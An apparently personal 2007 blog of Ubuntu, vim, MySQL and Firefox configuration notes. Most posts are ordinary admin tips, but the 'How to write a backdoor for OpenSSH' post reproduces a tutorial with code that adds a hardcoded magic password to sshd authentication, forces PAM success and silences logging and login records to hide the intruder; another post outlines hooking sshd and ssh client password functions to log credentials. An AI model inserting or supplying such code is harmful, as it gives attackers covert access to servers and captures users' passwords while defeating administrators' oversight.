Vahid Ghafarpour's Blog

نكات جالب از نظر وحيد غفارپور!

Wednesday, January 31, 2007

The Evolution of a Programmer

http://www.ariel.com.au/jokes/The_Evolution_of_a_Programmer.html

Labels:

Saturday, January 27, 2007

^M characters with vim

you can put this character with so for replace with 'abc' you can use
:%s/^M/abc/g

this is a good sample for work on all text files

vim *.txt
qq
:%s/^M$//g
:%s/^M/ /g
:wnext
q
@q
999@q


qq record commands and q stop recording and @q run it.


also this is a good alternative but sometimes not work

:set ff=unix //to unix file
:set ff=dos //to windows file


http://www.vim.org/tips/tip.php?tip_id=26

Labels: ,

Tuesday, January 23, 2007

Local repository

http://ubuntuguide.org/

sudo -i
apt-get install dpkg-dev
mkdir /var/www/apt
ln -s /var/cache/apt/archives /var/www/apt/binary
cd /var/www/apt
dpkg-scanpackages binary /dev/null | gzip -9c > binary/Packages.gz

each package upgrade
cd /var/www/apt
dpkg-scanpackages binary /dev/null | gzip -9c > binary/Packages.gz

Labels:

Install new splash

Boot splash:
https://help.ubuntu.com/community/USplashCustomizationHowto

grub splash:
convert -resize 640x480 -colors 14 gsplash-artwork.png gsplash-artwork.xpm
gzip gsplash-artwork.xpm
put it in /boot
address it in first lines of menu.lst
splashimage (hd0,5)/boot/grub/images/gsplash-artwork.xpm.gz

Labels:

NTFS-EXT3 filesystem

for read ext3 filesystem in windows you can use explore2fs
for read/write ext3 in windows you can use ext2ifs (www.fs-driver.org)

for read ntfs in linux add this line to /etc/fstab
/dev/sda1/media/E ntfs defaults,nls=utf8,umask=000,gid=46 0 1
(ubuntu done it by UUID)
for read/write ntfs in linux do
sudo apt-get install ntfs-3g
add this line to /etc/fstab
/dev/sda1/media/E ntfs-3g defaults,nls=utf8,umask=000,gid=46 0 1

Labels:

Monday, January 22, 2007

system logs

you can see sudo logs in

/var/log/auth.log

Labels:

rate limit for incomming connections

for example for port 22 (ssh) and 3 times a minute

iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent \
--set

iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent \
--update --seconds 60 --hitcount 4 -j DROP

Labels:

Sunday, January 21, 2007

Genpets™


Say Hello to the all New Genpets™ from Bio.Genica!
The Genpets™ are Pre-Packaged, Bioengineered pets implemented today!

That’s right, Genpets are not toys or robots. They are living, breathing genetic animals.

http://www.genpets.com/

Labels:

Wednesday, January 17, 2007

Mass ask authentication in Firefox use NTLM

you can use one of these options

http://blogs.wdevs.com/shog9/archive/2005/03/09/2668.aspx

  1. In Firefox, type about:config into the address bar and hit enter. You should see a huge list of configuration properties.
  2. Find the setting named network.automatic-ntlm-auth.trusted-uris (the easiest way to do this is to type that into the filter box at top).
  3. Double-click this line, and enter the names of all servers for which NTLM is desired, separated by commas. Then press ‘OK’ to confirm.
  4. Open the options dialog (Tools->Options menu), and on the General page press the Connection Settings button to get the proxy configuration dialog:
  5. Make sure the correct proxy server is configured, and that the same list of servers are listed in the No Proxy for: entryfield as were set in step #3.
  6. Done.
http://www.spreadfirefox.com/node/1197

  • 1. Goto to url: about:config
  • 2. filter on NTLM
  • 3. You will see and entry :
  • network-automatic-ntlm-auth.allow-proxies
  • 4. Set it to false.
  • 5. Close Firefox.
  • 6. Restart Firefox
  • Labels:

    Tuesday, January 16, 2007

    Log ssh and sshd sessions

    add your variables in include.h
    add your logger in sshd
    function:auth_password file:auth-passwd.c
    pw->pw_name is user name and NOUSER if not your passwd username
    authctxt->user is username requested by client

    add your logger in ssh client
    function ssh_userauth1
    file sshconnect1.c
    for version one (without password)

    function userauth_passwd
    file sshconnect2.c

    and optional also you can use in
    function input_userauth_passwd_changereq
    file sshconnect2.c

    Labels: ,

    Seven

    What do you know about SE7EN?
    http://en.wikipedia.org/wiki/Seven

    Seven arts
    Seven wonders of ancient world
    Other Seven wonders
    Seven dirty words
    Seven GODs
    Seven days of creation
    Seven emperors of rome
    Seven lucky gods of Japanese

    and at last
    When asked to choose a number between 1 and 10, the most common number chosen appears to be 7.

    Labels:

    Sunday, January 14, 2007

    VMware server on Ubuntu

    download from
    http://www.vmware.com/products/server/

    cd /tmp replace with your download directory
    cd vmware-server-distrib
    sudo ./vmware-install.pl

    if you get
    A previous installation of VMware software has been detected.
    go to line 2612
    change $status =1 to $status=0


    accept all defaults

    Labels:

    No Sound Ubuntu

    check user exist in audio group
    check plugins
    https://help.ubuntu.com/community/RestrictedFormats

    check list of sound cards
    asoundconf list

    check list of sound modules
    /proc/asound/modules

    Labels:

    Friday, January 12, 2007

    Persian in Ubuntu

    http://www.hezardastan.org/

    sudo apt-get install ttf-farsiweb
    sudo apt-get install xfonts-intl-arabic
    sudo apt-get install xfonts-intl-european
    sudo apt-get install xfonts-intl-phonetic
    sudo apt-get install gsfonts-x11
    sudo apt-get install msttcorefonts
    wget -c http://voxel.dl.sourceforge.net/sourceforge/fpf/fpf.zip
    wget -c http://hezardastan.sourceforge.net/persianfonts/tahoma.tar.gz
    wget -c http://hezardastan.sourceforge.net/persianfonts/bfonts.tar.gz
    sudo mkdir /usr/share/fonts/truetype/ttf-persian-fonts
    sudo unzip fpf.zip -d /usr/share/fonts/truetype/ttf-persian-fonts
    sudo tar zxvf tahoma.tar.gz -C /usr/share/fonts/truetype/ttf-persian-fonts
    sudo tar zxvf bfonts.tar.gz -C /usr/share/fonts/truetype/ttf-persian-fonts

    sudo fc-cache -f -v

    Labels:

    Saturday, January 6, 2007

    Googie

    for example

    http://www.gooogIe.co.uk/?gid=22917&hl=en&meta=o&q=Magfa:%20Creator%20of%20Digital%20Opportunities

    Thursday, January 4, 2007

    3gp on Ubuntu

    use ffmpeg

    http://blogger.rukker.org/2006/07/12/enable-mp3-and-amr-support-in-ffmpeg-ubuntudebian/

    Labels:

    Resize swap

    boot with CD
    resize with gparted

    after boot it may be not mount swap

    mkswap -v1 /dev/sda5
    to remake it as swap

    it's better to replace UUID=... with /dev/sda5

    then use swapon -a

    Labels:

    Bandwidth monitor ubuntu

    bmon
    bwbar
    bwm
    bwm-ng
    iftop
    iperf
    ipfm
    speedometer
    cbm
    ibmonitor
    pktstat
    mactrack
    MRTG
    Cacti

    http://www.ubuntugeek.com/bandwidth-monitoring-tools-for-ubuntu-users.html

    Labels:

    Wednesday, January 3, 2007

    Ubuntu on Radeon X700

    I have a ASUS A6b00va
    Sonoma 1.73
    ATI Radeon X700 Mobility 128MB

    "$sudo apt-get Install xorg-driver-fglrx" and changing the driver from "ati" to "fglrx" in xorg.conf and restarting gdm fixes this problem

    https://launchpad.net/ubuntu/+source/xorg/+bug/40457

    also you can add
    Option "MonitorLayout" "LVDS, CRT"
    in Device section

    Labels:

    Tuesday, January 2, 2007

    Oracle on Ubuntu

    https://help.ubuntu.com/community/Oracle10g

    deb http://oss.oracle.com/debian unstable main non-free
    apt-get update
    apt-get install oracle-xe
    /etc/init.d/oracle-xe configure

    Labels:

    The Perfect Setup - Ubuntu 6.10 Server (Edgy Eft)

    The Perfect Setup - Ubuntu 6.10 Server (Edgy Eft)

    How To Create A Local Debian/Ubuntu Mirror With apt-mirror

    Tilda

    Tilda is a Linux terminal taking after the likeness of many classic terminals from first person shooter games, Quake, Doom and Half-Life (to name a few), where the terminal has no border and is hidden from the desktop until a key is pressed.

    you can use None+grave for keybinding to bind like games.

    http://tilda.sourceforge.net/wiki/index.php/Main_Page

    Labels:

    The table is full in mysql

    You are using a MyISAM table and the space required for the table exceeds what is allowed by the internal pointer size. If you don't specify the MAX_ROWS table option when you create a table, MySQL uses the myisam_data_pointer_size system variable. From MySQL 5.0.6 on, the default value is 6 bytes, which is enough to allow 256TB of data. Before MySQL 5.0.6, the default value is 4 bytes, which is enough to allow only 4GB of data. See Section 5.2.2, “Server System Variables”.

    I use (it will apply for new tables on myisam):
    set @@global.myisam_data_pointer_size=5;

    4 : 4GB (below 5.0.6 default value)
    5 : 1TB (My value)
    6 : 256TB (above 5.0.6 default value)

    or using MAX_ROWS
    alter table table name MAX_ROWS=100000000

    http://mysql.speedbone.de/doc/refman/5.0/en/full-table.html

    http://mysql.speedbone.de/doc/refman/5.0/en/server-system-variables.html

    Labels:

    Mysql Backup

    copy a table to another

    CREATE TABLE new_tbl SELECT * FROM orig_tbl;


    Full backup of MySql databases:
    1. shell> mysqldump --tab=/path/to/some/dir --opt --full
    OR
    2. shell> mysqlhotcopy database /path/to/some/dir
    OR
    3. simply copy all table files (`*.frm', `*.MYD', and `*.MYI' files)

    http://www.databasejournal.com/features/mysql/article.php/3421751

    http://dev.mysql.com/doc/refman/5.0/en/backup.html

    Labels:

    Firefox Extentions

    Adblock Plus
    - Block images or frames
    Cooliris Previews
    - preview links
    Download Statusbar
    - put downloads in statusbar
    Fasterfox
    - tweak
    Forecastfox enhanced
    - weather forcast
    Foxyproxy
    - proxy switch
    Foxy tunes
    - media player controler
    Foxy meter
    - counter
    Tab mix plus
    - tab manager
    Tab to window
    - tab manager
    Video downloader
    - download videos like youtube

    Labels: ,

    Monday, January 1, 2007

    How to write a backdoor for OpenSSH

    ///////////////////////////////////////////////////////////////////////////////
    /************************************************** ***************************/
    /* Tutorial: How to write a backdoor for OpenSSH. */
    /* Date: June 29, 2005 */
    /* Author: pikah (rvdwesten@gmail.com) */
    /* Website: http://w4ck1ng.net */
    /* */
    /* DISCLAIMER: */
    /* This tutorial is published here for one reason only: To make the problem */
    /* understandable for users who are interested in the way a sshd-daemon */
    /* can be easily backdoored. In this way systemadministrators can understand */
    /* how easily an attacker can make himself 'invisible' for logging and even */
    /* get acces without knowing the real passwords */
    /* The author will not be responsible for any */
    /* actions taken by anyone who used this paper for illegal activities */
    /* */
    /************************************************** ***************************/
    ///////////////////////////////////////////////////////////////////////////////

    Well this is one of the first tutorials I will write.
    This tutorial is about how to make (and write) your own OpenSSH backdoor.
    I will try to keep this tutorial as small as possible, I also will not include any extra functions like remove
    logging functions etc. First I'm going to tell something about OpenSSH before I get into details.


    [What is OpenSSH]

    First I'm going to tell what OpenSSH does, I'm not getting into details , because most of you guys are probably not even
    reading this section. OpenSSH is a client/server application which allows an administrator to access his server securely. The
    reason I say 'secure' is because SSH encrypts its session, so man-in-the-middle attacks are getting more difficult because
    all data is send over the 'net' in crypto-text. OpenSSH is used because e.g. telnet, rlogin and ftp are protocols which are
    not using any encryption at all, so when you are trying to connect to a host, and there is someone watching, they can easily
    make a copy of your password or take other information from the stream. Additionally, OpenSSH provides secure tunneling
    capabilities and several authentication methods, and supports all SSH protocol versions.
    OpenSSH is developed by the OpenBSD Project and is freely useable and re-useable by everyone under a BSD license. However,
    development has costs, so if you find OpenSSH useful (particularly if you use it in a commercial system that is distributed)
    please consider donating to help fund the project. The official website of OpenSSH is: http://www.openssh.org
    Also nice to notice is that OpenSSH is mainly written for OpenBSD, but since it was used a lot there is a portable version
    for Linux. Offcource linux is not the only ported version, you can find others on the website of the OpenSSH project.

    [The Backdooring]

    So after explaining what OpenSSH does, I will try to explain how it is possible to make a backdoor in OpenSSH and every
    little detail of what I am doing.
    First of all we need to download the sourcecode. At this point the latest version of OpenSSH is OpenSSH-4.3p2. This tutorial

    will teach you how to make a backdoor for this version of OpenSSH.
    Also notice that other versions may need to be 'patched' in a different way, or maybe even in other files.

    We are downloading the sourcecode first. And after downloading we are unpacking the sourcecode and changing to the sourcecode
    directory. Now that we have the sourcecode written in C, we can go start looking for the place where the password authentication will start.
    There are more then one way to make a backdoor for OpenSSH. For example. you can place a backdoor before the handshake even begins.
    This is the place where there is not even encryption. The bad thing about this, is that there is still plaintext going over the internet.
    The good thing is that we are able to bypass logging without building extra features to the sourcecode.
    Another way is to 'hijack' the authentication method, and allow it to accept our chosen password.

    In this tutorial I will explain how to 'hijack' the authentication method. In this way all our traffic is encrypted before
    the authentication starts. In this way it isn't possible to capture data and grep your password from the captured packets. The
    bad thing I already said is that there is still logging we have to bypass. So we have to put our code in more than one
    place. We have to search for all places where logging is used.
    Starting with the backdoor first, we want the code to accept our 'magic' password. First we are going to have a look at the
    place where we want to add our backdoor. We are going to find the authentication method, which checks the password that is
    entered. This method can be found in the file 'auth_passwd.c'.
    By opening this file we are searching where the plain password comes in. This is the place where we can check it against the
    magic password inserted by us.
    If the password compares with the magicpassword, it will give us the right to enter the box, that is what we want.
    Also when the magicpassword is used, we are going to disable logging, since we dont want the administrator to notice our
    existence.

    Lets start with the code. The files we are going to modify are the following:

    ################################################## ##################################
    # includes.h -- In this file we are going to define our password and global integer.
    # auth-passwd.c -- In this file we are going to put the backdoor.
    # auth-pam.c -- In this file we are going to put some code when PAM-authentication is used.
    # log.c -- This file we are going to change since we dont want logging.
    # loginrec.c -- Same as log.c
    ################################################## ###################################

    Lets first start with 'includes.h', we need this file because this file is used by all other files in the OpenSSH project.
    When we declare something in here, we can easily use it in every other place. So what we are going to do is add some code.

    ##########################################
    #
    # #define B4XDOOR "backdoorpasswordhere"
    # int backdoorActive;
    #

    ##########################################

    Now we can start and put our backdoor code in the other places.
    We are going to put the following code in the function called: "int auth_password(Authctxt *authctxt, const char *password);"

    #######################################
    #
    # backdoorActive = 0;
    #
    # if (!strcmp(password, B4XDOOR)) {
    # backdoorActive = 1;
    # return 1;
    # }
    #

    #######################################

    With this done, we make it ourself possible to login with our password defined in includes.h
    Also we are giving the backdoorActive the value of 1. This value is going to be used by other functions. e.g. logging.
    Also we are going to change the file auth-pam.c, this is used when PAM-authentication is enabled. If the password is set, the
    pam-authentication module will return PAM_SUCCESS and it will allow the user to log in. The function we are changing is the
    following: "+int sshpam_auth_passwd(Authctxt *authctxt, const char *password);"

    #############################################
    #
    # if(backdoorActive == 1)
    # sshpam_err = PAM_SUCCESS;
    #

    #############################################

    Now we have some other problems. Logging is not disabled so when you log in with your password you will still be logged too.
    e.g. syslogd. So we are going to tell the ssh-daemon to not log us when we are using the magic-password. This must be done
    in the following files: and
    These one are easy, so we can just put in the front of the functions our code which is pretty easy.
    ################################################## #######################
    # log.c --> void do_log(LogLevel level, const char *fmt, va_list args);
    # loginrec.c --> int login_write(struct logininfo *li);
    ################################################## #######################

    ###########################
    #
    # if(backdoorActive == 1)
    # return;
    #

    #
    #
    # if(backdoorActive == 1)
    # return 0;
    #

    ###########################

    These are the smallest things you need to do to backdoor a OpenSSH daemon. Be sure to take care and make sure password authentication is used.
    If there is another authentication method, this backdoor probably will not work.
    Also check that keyboard-interactive method is not enabled as that make casue this backdoor not to function either.

    Labels: ,

    SSL for Apache2 on Ubuntu

    from ubuntuforums.org
    http://www.ubuntuforums.org/archive/index.php/t-4466.html

    apt-get install apache2 libapache-mod-ssl
    apache2-ssl-certificate
    (and answer the questions)

    Now, enable ssl:
    a2enmod ssl

    configure ssl:
    cp /etc/apache2/sites-available/default /etc/apache2/sites-available/ssl
    ln -s /etc/apache2/sites-available/ssl /etc/apache2/sites-enabled/ssl
    "/etc/apache2/sites-enabled/ssl" should look like this:

    NameVirtualHost *:443

    (... configure the directories too...)
    and "/etc/apache2/sites-enabled/default" should look like this:

    NameVirtualHost *:80

    (... configure the directories too...)
    In /etc/apache2/ports.conf, add Listen 443

    In the middle of /etc/apache2/sites-available/ssl file, insert this two lines:

    SSLEngine On
    SSLCertificateFile /etc/apache2/ssl/apache.pem

    it's better use your domain named instead of * for NameVirtualHost else you will get SSL warning because of SSL server name error

    Labels:

    Free hosting for domain

    http://www.awardspace.com/
    this server host for free
    • PHP, MySQL, PERL, CGI
    • 200 MB Web Hosting
    • 5 GB/mo Traffic
    • ENSIM Control Panel
    • FrontPage Extensions
    • SSL, SSH & SSI
    • POP3/IMAP and SMTP
    • Webmail, Forwarding
    • Autoresponders
    • FULL FTP Access
    • Raw Access/Error Logs
    I use these domains on it:
    http://www.opensourcewares.ir/
    http://www.edubuntu.ir/
    http://www.xubuntu.ir/
    http://www.zubuntu.ir/

    and set these sub-domains:
    http://vahid.opensourcewares.ir/
    http://vahid.edubuntu.ir/
    http://vahid.xubuntu.ir/
    http://vahid.zubuntu.ir/

    Labels:

    Compile SSH on Ubuntu

    sudo apt-get install dpkg-dev #need for apt-get source
    apt-get source ssh
    sudo apt-get install libssl-dev # need for libcrypto
    cd openssh-4.3p2
    ./configure

    Labels: ,

    First Post

    I use this weblog as my wiki.
    I will post here every configuration which I neet to remember.

    Labels: